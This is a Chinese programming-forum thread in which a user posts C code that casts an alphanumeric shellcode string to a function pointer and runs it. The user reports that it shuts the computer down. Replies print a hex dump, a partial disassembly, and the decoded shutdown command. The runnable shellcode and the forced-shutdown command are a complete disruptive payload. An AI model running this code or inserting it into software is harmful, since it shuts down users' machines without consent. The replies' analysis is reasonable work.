C语言大神才能看懂的代码

wdkbook 2019-10-02 06:03:31
#pragma GCC optimize 0
#pragma comment(linker,"/section:.data,rwe")
char str[]= "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1"
            "W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5"
            "B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3"
            "H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK"
            "K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2"
            "L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0"
            "T097O0A0D050U1U161F02";
int main()
{
    return ((int(*)(void))&str)(); //运行后一分钟关机,VS就可以编译,谁能帮着看看,这指针是什么意思,shellcode怎么解密?
}
...全文
322 9 打赏 收藏 转发到动态 举报
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
chixiang1111 2019-10-24
  • 打赏
  • 举报
回复
((int(*)(void))&str)(),解释这个就够了,从后面的()看,这是一个函数,从int(*)看,这是一个返回整数的函数,&str是函数地址,void用来表示&str是一个16进制或32进制地址,所以,这((int(*)(void))&str)()的意思是:取str的第一个值作为函数地址,作为整数返回的函数,void只为了形容&str为16或32或64位数。
schlafenhamster 2019-10-19
  • 打赏
  • 举报
回复
其实 就是
WinExec("shutdown -s -c blog.csdn.net/wqte45",SW_SHOW);
schlafenhamster 2019-10-03
  • 打赏
  • 举报
回复
int main()
{// run -> disasm view ,-> F11
return ((int(*)(void))&str)(); //运行后一分钟关机,VS就可以编译,谁能帮着看看,这指针是什么意思,shellcode怎么解密?
}

13: return ((int(*)(void))&str)(); //运行后一分钟关机,VS就可以编译,谁能帮着看看,这指针是什么意思,shellcode怎么解密?
00401028 B8 30 3A 42 00 mov eax,offset _str (00423a30)
0040102D 8B F4 mov esi,esp
0040102F FF D0 call eax;// F11 这句 _str: 00423A30 50 push eax。。。。
00401031 3B F4 cmp esi,esp
00401033 E8 28 00 00 00 call __chkesp (00401060)
14: }
wdkbook 2019-10-02
  • 打赏
  • 举报
回复
引用 2 楼 schlafenhamster 的回复:
反汇编 看看 , 病毒 ?

我好像明白了,把字母转码ascii码,然后将对应的16进制,找反汇编工具输入,得到汇编代码,然后用那个指针启动?可是大神是用什么工具做到的?debug?
schlafenhamster 2019-10-02
  • 打赏
  • 举报
回复
000000:50 59 56 54 58 31 30 58 34 31 50 5A 34 31 48 34 PYVTX10X41PZ41H4
000010:41 34 49 31 54 41 37 31 54 41 44 56 54 5A 33 32 A4I1TA71TADVTZ32
000020:50 5A 4E 42 46 5A 44 51 43 30 32 44 51 44 30 44 PZNBFZDQC02DQD0D
000030:31 33 44 4A 45 35 49 31 36 4F 4B 34 43 31 36 32 13DJE5I16OK4C162
000040:4B 35 44 31 36 36 39 35 4A 31 54 4D 4E 33 50 31 K5D16695J1TMN3P1
000050:57 30 50 35 4A 30 44 37 4E 37 5A 39 4C 39 4B 32 W0P5J0D7N7Z9L9K2
000060:49 31 57 35 42 31 4D 34 33 39 4C 4C 4D 30 36 30 I1W5B1M439LLM060
000070:4C 30 52 36 39 31 5A 34 31 34 4B 32 5A 30 4D 38 L0R691Z414K2Z0M8
000080:4F 35 48 33 59 38 4D 33 56 36 30 34 4E 31 33 4B O5H3Y8M3V604N13K
000090:4B 33 4C 36 4F 30 52 35 4A 4B 4F 30 41 39 59 35 K3L6O0R5JKO0A9Y5
0000A0:42 37 4F 36 50 30 4E 39 53 33 59 30 42 31 48 35 B7O6P0N9S3Y0B1H5
0000B0:4B 31 30 30 4E 32 5A 39 52 33 41 30 46 36 31 30 K100N2Z9R3A0F610
0000C0:37 35 48 31 31 34 53 31 41 39 50 4D 4B 34 4C 35 75H114S1A9PMK4L5
0000D0:44 36 50 31 44 4D 4C 30 4C 37 4D 30 46 33 32 35 D6P1DML0L7M0F325
0000E0:47 30 48 30 30 4D 4C 4B 4E 30 50 37 5A 4D 4E 33 G0H00MLKN0P7ZMN3
0000F0:48 38 4D 30 4E 30 47 30 54 30 36 30 47 32 4F 4D H8M0N0G0T060G2OM
000100:4E 4A 4D 31 49 33 5A 30 4B 31 4D 30 36 35 41 30 NJM1I3Z0K1M065A0
000110:51 33 54 32 5A 37 4E 35 4B 4D 4C 32 45 30 50 33 Q3T2Z7N5KML2E0P3
000120:50 33 42 32 44 38 4C 30 32 4F 4B 31 57 32 43 30 P3B2D8L02OK1W2C0
000130:49 30 55 30 53 30 4F 38 4C 36 36 37 4D 30 51 4B I0U0S0O8L667M0QK
000140:4B 36 36 30 59 32 48 31 43 31 55 31 53 33 58 39 K660Y2H1C1U1S3X9
000150:57 32 42 30 34 33 4A 36 37 4A 4C 39 51 32 49 4B W2B043J67JL9Q2IK
000160:4C 32 43 4D 4E 30 4A 35 4F 34 53 38 4B 31 38 36 L2CMN0J5O4S8K186
000170:32 30 53 30 59 36 34 4D 4F 32 43 30 53 32 44 31 20S0Y64MO2C0S2D1
000180:42 30 35 30 59 30 32 31 57 38 4D 30 41 31 53 32 B050Y021W8M0A1S2
000190:4C 35 47 31 54 36 34 30 51 37 4B 35 44 4F 4E 33 L5G1T640Q7K5DON3
0001A0:48 34 48 33 58 33 35 35 42 4D 4D 4B 4B 4D 4D 30 H4H3X355BMMKKMM0
0001B0:4C 32 49 4B 4F 30 39 4B 4E 31 57 37 4D 32 47 36 L2IKO09KN1W7M2G6
0001C0:30 37 4B 30 53 31 57 36 30 32 4D 32 41 32 41 32 07K0S1W602M2A2A2
0001D0:4D 31 53 30 52 32 5A 30 57 30 34 37 4E 32 45 30 M1S0R2Z0W047N2E0
0001E0:54 30 39 37 4F 30 41 30 44 30 35 30 55 31 55 31 T097O0A0D050U1U1
0001F0:36 31 46 30 32

反汇编 看看 , 病毒 ?
铖邑 2019-10-02
  • 打赏
  • 举报
回复
反正我是看不懂,有高位跟我一样的吗?
schlafenhamster 2019-10-02
  • 打赏
  • 举报
回复
部分代码 如下:
_str:
00423A30 50 push eax
00423A31 59 pop ecx
00423A32 56 push esi
00423A33 54 push esp
00423A34 58 pop eax
00423A35 31 30 xor dword ptr [eax],esi
00423A37 58 pop eax
00423A38 34 31 xor al,31h
00423A3A 50 push eax
00423A3B 5A pop edx
00423A3C 34 31 xor al,31h
00423A3E 48 dec eax
00423A3F 34 41 xor al,41h
00423A41 34 49 xor al,49h
00423A43 31 54 41 37 xor dword ptr [ecx+eax*2+37h],edx
00423A47 31 54 41 44 xor dword ptr [ecx+eax*2+44h],edx
00423A4B 56 push esi
00423A4C 54 push esp
00423A4D 5A pop edx
00423A4E 33 32 xor esi,dword ptr [edx]
00423A50 50 push eax
00423A51 5A pop edx
00423A52 4E dec esi
00423A53 42 inc edx
00423A54 46 inc esi
00423A55 5A pop edx
00423A56 44 inc esp
00423A57 51 push ecx
00423A58 43 inc ebx
00423A59 30 32 xor byte ptr [edx],dh
00423A5B 44 inc esp
00423A5C 51 push ecx
许文君 2019-10-02
  • 打赏
  • 举报
回复
shellcode,常用于dll远程注入然后自卸载,要直接在自己程序里这么写的除了不让人读有什么作用?
schlafenhamster 2019-10-02
  • 打赏
  • 举报
回复
有个 WinHex 的吧

16,472

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧